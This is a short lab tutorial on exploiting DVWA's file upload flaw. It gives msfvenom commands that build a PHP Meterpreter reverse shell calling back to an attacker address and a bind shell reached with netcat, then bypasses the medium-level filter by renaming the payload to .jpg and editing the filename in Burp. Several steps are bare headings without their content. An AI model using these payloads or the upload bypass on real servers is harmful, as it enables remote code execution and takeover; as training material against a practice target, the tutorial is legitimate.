DVWA 1.9+: File Upload with Metasploit Venom

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This article is about file upload as a security flaw. In previous articles we’ve setup our lab and made several exploitations against our target.

You can view those articles here.

File Upload — Low Security

Meterpreter

$ msfvenom -h

$ msfvenom -l payloads | grep php

View more info:

$ msfvenom -p php/meterpreter/reverse_tcp --list-options

$ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.231.107 LPORT=4444 -o php_venom.php

Remove ‘/*’ from beginning of file.

Upload

Prepare MSF

Execute and

Shell

$ msfvenom -p php/bind_php — list-options

$ msfvenom -p php/bind_php LHOST=192.168.231.107 LPORT=4444 -o php_bind.php

remove ‘/*’ from file.

Execute

$ nc 192.168.231.110 4444

Got a shell

File Upload — Medium Security

Change DVWA Security to medium and try again.

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$ cp php_venom.php php_venom.php.jpg

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Try to run:

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Let’s hack our file upload. Burp suite with Intercetp on

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Return DVWA and upload file again. Go to Burp and change filename:

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Then press Forward and get back to the Browser to see a success file upload. Go to hackable/upload and see php_venom.php updated. We’ve bypassed the medium security protection!

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Conclusion

Again, with the help of tools we’ve hacked this target. In the next article we’ll keep at it using another vector of attack

Hacker Toolbelt

Hacking tools and how-to

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